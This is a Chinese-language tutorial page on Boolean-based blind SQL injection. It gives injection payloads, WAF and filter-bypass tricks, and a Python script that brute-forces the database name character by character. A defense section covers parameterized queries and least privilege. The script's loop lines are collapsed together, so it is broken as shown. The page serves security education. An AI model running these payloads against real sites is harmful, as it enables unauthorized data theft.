深入解析布爾注入:原理、實戰與防御

目錄

一、布爾注入的原理與核心邏輯

二、布爾注入的實戰步驟

三、關鍵函數與繞過技巧

四、實戰案例:獲取數據庫名稱

五、防御策略與最佳實踐

六、總結


一、布爾注入的原理與核心邏輯

布爾注入(Boolean-Based Blind SQL Injection)是一種通過構造特定SQL語句,利用應用程序對??真(True)??與??假(False)??的響應差異來推斷數據庫信息的攻擊技術。其核心在于:

  1. ??邏輯條件構造??:通過ANDOR連接布爾表達式(如1=11=2),觸發不同的頁面狀態。
  2. ??響應差異判斷??:若條件為真,頁面正常顯示(如返回數據);若為假,頁面異常(如無數據或錯誤提示)。
  3. ??信息逐位推斷??:結合字符串截取和ASCII碼轉換函數,通過二分法或遍歷法猜測數據庫的字符內容。

??示例??:
當注入' AND 1=1 --時頁面正常,而' AND 1=2 --時頁面異常,即可確認存在布爾注入漏洞。


二、布爾注入的實戰步驟
  1. ??確定注入點??

    • 測試參數(如URL中的id或表單字段)是否存在可注入性,例如:
      ?id=1' AND 1=1 -- (正常)
      ?id=1' AND 1=2 -- (異常)
    • 若響應狀態差異明顯,則可能存在布爾注入漏洞。
  2. ??驗證布爾注入可行性??

    • 構造邏輯條件測試響應一致性,例如:
      ' AND (SELECT 1)=1 -- (正常)
      ' AND (SELECT 1)=2 -- (異常)
    • 確認后即可進入數據提取階段。
  3. ??數據提取:長度與字符猜測??

    • ??長度判斷??:
      ' AND LENGTH(database())=8 -- (若正常則庫名長度為8)[10](@ref)
    • ??逐字符猜測??:
      ' AND ASCII(SUBSTRING(database(),1,1))=116 -- (ASCII 116對應字符't')[5,10](@ref)
    • ??自動化工具輔助??:
      • 使用sqlmap --technique=B自動化探測;
      • 利用Burp Suite Intruder進行批量字符遍歷。

三、關鍵函數與繞過技巧
  1. ??常用函數??

    • SUBSTRING(str, pos, len):截取字符串(如SUBSTRING(database(),1,1))。
    • ASCII(char):獲取字符的ASCII碼值(如ASCII('a')=97)。
    • LENGTH(str):判斷字段長度(如LENGTH(user())=5)。
  2. ??繞過過濾的技巧??

    • 使用MID替代SUBSTRING,或ORD替代ASCII
    • 十六進制編碼繞過關鍵詞檢測(如SUBSTR%69%6E%67)。
    • 時間盲注結合布爾條件(如AND IF(1=1,SLEEP(5),0))。

四、實戰案例:獲取數據庫名稱
  1. ??步驟拆解??

    • ??判斷長度??:
      /page.php?id=1' AND LENGTH(DATABASE())=4 -- (若正常,則庫名長度4)[10](@ref)
    • ??逐字符猜測??:
      /page.php?id=1' AND ASCII(SUBSTRING(DATABASE(),1,1))=116 -- (字符't')[10](@ref)
    • ??循環遍歷??:依次修改截取位置(如SUBSTRING(DATABASE(),2,1))直到獲取完整名稱(如test)。
  2. ??Python自動化腳本示例??

    import requests
    url = "http://example.com/page.php?id=1' AND ASCII(SUBSTRING(DATABASE(),{},1))={} --"
    result = ""
    for i in range(1, 5):for code in range(32, 127):payload = url.format(i, code)r = requests.get(payload)if "正常頁面特征" in r.text:result += chr(code)break
    print("Database:", result)  # 輸出:test

五、防御策略與最佳實踐
  1. ??輸入過濾與驗證??

    • 嚴格校驗參數類型(如數字型參數僅允許數字)。
    • 過濾敏感字符(如單引號'、注釋符--)。
  2. ??參數化查詢??

    • 使用預編譯語句(如PDO或MyBatis),避免SQL拼接:
      $stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
      $stmt->execute([$username]);
  3. ??最小權限原則??

    • 數據庫賬戶僅授予必要權限(如禁止xp_cmdshell)。
  4. ??錯誤信息隱藏??

    • 禁止返回詳細數據庫錯誤(如屏蔽mysql_error())。
  5. ??Web應用防火墻(WAF)??

    • 部署規則攔截常見注入特征(如AND 1=1SLEEP(5))。

六、總結

布爾注入是一種隱蔽性強、危害大的攻擊方式,其核心在于利用邏輯條件與響應差異逐步竊取數據。防御需從代碼規范(如參數化查詢)、權限控制、錯誤處理等多維度構建安全防線。對于滲透測試人員,掌握自動化工具(如sqlmap)與手動腳本的結合使用,可大幅提升攻擊效率。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/79244.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/79244.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/79244.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

OpenGL學習筆記(幾何著色器、實例化、抗鋸齒)

目錄 幾何著色器爆破物體法向量可視化 實例化(偏移量存在uniform中)實例化數組(偏移量存在頂點屬性中)小行星帶 抗鋸齒SSAA(Super Sample Anti-aliasing)MSAA(Multi-Sampling Anti-aliasing&…

idea報錯java: 非法字符: ‘\ufeff‘解決方案

解決方案步驟以及說明 BOM是什么?1. BOM的作用2. 為什么會出現 \ufeff 錯誤?3. 如何解決 \ufeff 問題? 最后重新編譯,即可運行!!! BOM是什么? \ufeff 是 Unicode 中的 BOM&#xff0…

open webui 介紹 是一個可擴展、功能豐富且用戶友好的本地部署 AI 平臺,支持完全離線運行。

AI MCP 系列 AgentGPT-01-入門介紹 Browser-use 是連接你的AI代理與瀏覽器的最簡單方式 AI MCP(大模型上下文)-01-入門介紹 AI MCP(大模型上下文)-02-awesome-mcp-servers 精選的 MCP 服務器 AI MCP(大模型上下文)-03-open webui 介紹 是一個可擴展、功能豐富且用戶友好的…

Log4j2遠程命令執行(CVE-2021-44228)復現

這里選擇使用vulfocue的靶場來進行復現 描述: Apache Log4j2 是一個基于 Java 的日志記錄工具。該工具重寫了 Log4j 框架,并且引入了大量豐富的特性。該日志框架被大量用于業務系統開發,用來記錄日志信息。 在大多數情況下,開發者可能會將用…

模型提示詞

一 提示詞 (一) 提示詞(Prompt)是用戶發送給大語言模型的問題、指令或請求,** 1 來明確地告訴模型用戶想要解決的問題或完成的任務,是大語言模型理解用戶需求并據此生成相關、準確回答或內容的基礎。對于…

深度學習算法:從基礎到實踐

簡介 深度學習作為人工智能領域的一個重要分支,近年來在多個領域取得了顯著的成就。本文將從基礎概念出發,探討深度學習算法的核心原理,并介紹一些實際應用案例。 深度學習算法的核心概念 深度學習算法基于人工神經網絡,通過構…

5.9 《GPT-4調試+測試金字塔:構建高可靠系統的5大實戰策略》

5.4 測試與調試:構建企業級質量的保障體系 關鍵詞:測試金字塔模型、GPT-4調試助手、LangChain調試模式、異步任務驗證 測試策略設計(測試金字塔實踐) #mermaid-svg-RblGbJVMnCIShiCW {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill…

Visio繪圖工具全面科普:解鎖專業圖表繪制新境界[特殊字符]

Visio繪圖工具全面科普:解鎖專業圖表繪制新境界🌟 在信息爆炸的時代,清晰、直觀地呈現復雜信息變得至關重要。無論是繪制流程圖📊、組織結構圖👥,還是規劃網絡拓撲🖧,一款強大的繪圖…

ShellScript腳本編程

語法基礎 腳本結構 我們先從這個小demo程序來窺探一下我們shell腳本的程序結構 #!/bin/bash# 注釋信息echo_str"hello world"test(){echo $echo_str }test echo_str 首先我們可以通過文本編輯器(在這里我們使用linux自帶文本編輯神器vim),新建一個文件…

你了解哪些Java限流算法?

大家好,我是鋒哥。今天分享關于【你了解哪些Java限流算法?】面試題。希望對大家有幫助; 你了解哪些Java限流算法? 1000道 互聯網大廠Java工程師 精選面試題-Java資源分享網 在 Java 中,限流算法廣泛用于控制流量、避免過載和保護系統的穩…

prime-2 靶場筆記(vuInhub靶場)

前言: 在本次靶場環境中涉及的知識點,主要包含LFI和SMB以及Lxd組提權,具體內容包括主機探測、端口掃描、目錄掃描、wpscan掃描、反彈shell、一句話木馬、容器、linux各種提權和維持。 環境介紹: 本靶場使用了kali(192…

SparseDrive---論文閱讀

純視覺下的稀疏場景表示 算法動機&開創性思路 算法動機: 依賴于計算成本高昂的鳥瞰圖(BEV)特征表示。預測和規劃的設計過于直接,沒有充分利用周圍代理和自我車輛之間的高階和雙向交互。場景信息是在agent周圍提取&#xff…

旅游特種兵迪士尼大作戰:DeepSeek高精準路徑優化

DeepSeek大模型高性能核心技術與多模態融合開發 - 商品搜索 - 京東 隨著假期的腳步日漸臨近,環球影城等備受矚目的主題游樂場,已然成為大人與孩子們心中不可或缺的節日狂歡圣地。然而,隨之而來的龐大客流,卻總讓無數游客在歡樂的…

android rtsp 拉流h264 h265,解碼nv12轉碼nv21耗時卡頓問題及ffmpeg優化

一、 背景介紹及問題概述 項目需求需要在rk3568開發板上面,通過rtsp協議拉流的形式獲取攝像頭預覽,然后進行人臉識別 姿態識別等后續其它操作。由于rtsp協議一般使用h.264 h265視頻編碼格式(也叫 AVC 和 HEVC)是不能直接用于后續處…

運維面試題(十四)

6.將日志從一臺服務器保存到另一臺服務器中的方法 1.使用 rsync 同步日志文件 2.使用 scp 手動或腳本化傳輸 3.配置日志服務(如 syslog 或 rsyslog )遠程傳輸 ? 4.編寫腳本定時上傳:結合 cron 定時任務和傳輸工具,編…

永磁同步電機控制中,滑模觀測器是基于反電動勢觀測轉子速度和角度的?擴展卡爾曼濾波觀測器是基于什么觀測的?擴展卡爾曼濾波觀測器也是基于反電動勢嗎?

滑模觀測器在PMSM中的應用: 滑模觀測器是一種非線性觀測器,利用切換函數設計,使得狀態估計誤差迅速趨近于零,實現快速響應和對外部干擾的魯棒性。 在永磁同步電機(PMSM)無傳感器控制中,滑模觀測…

【前端】Vue一本通 ESLint JSX

近幾天更新完畢,不定期持續更新,建議關注收藏點贊。 目錄 工具推薦vscode插件vue-devtoolsESLint JSX語法擴展簡介設計模式快速入門 vue/cli腳手架使用vue指令 工具推薦 工欲善其事,必先利其器。 vscode插件 Vetur:vue代碼高亮…

【adb】bat批處理+adb 自動亮屏,自動解鎖屏幕,啟動王者榮耀

準備adb 下載 需要確認是否安裝了adb.exe文件,可以在: 任務管理器 -->詳細信息–>找一下后臺運行的adb 安裝過anroid模擬器,也存在adb,例如:雷電安裝目錄 D:\leidian\LDPlayer9 單獨下載adb 官方下載地址:[官方網址] 下載目錄文件: 測試adb USB連接手機 首先在設置界…

微信小程序轉為App實踐篇 FinClip

參考下面鏈接先 開始實踐 微信小程序轉為App并上架應用市場_微信小程序生成app-CSDN博客 首先在FinClip 官網上下載應用 小程序開發工具下載_小程序sdk下載資源-FinClip資源下載|泰坪小程序開放平臺 下載到本地安裝 打開導入自己的小程序項目;導入時會解析自己的…

arco design框架中的樹形表格使用中的緩存問題

目錄 1.問題 2.解決方案 1.問題 arco design框架中的樹形表格使用中的緩存問題,使用了樹形表格的load-more懶加載 點擊展開按鈕后,點擊關閉,再次點擊展開按鈕時,沒有調用查詢接口,而是使用了緩存的數據。 2.解決方…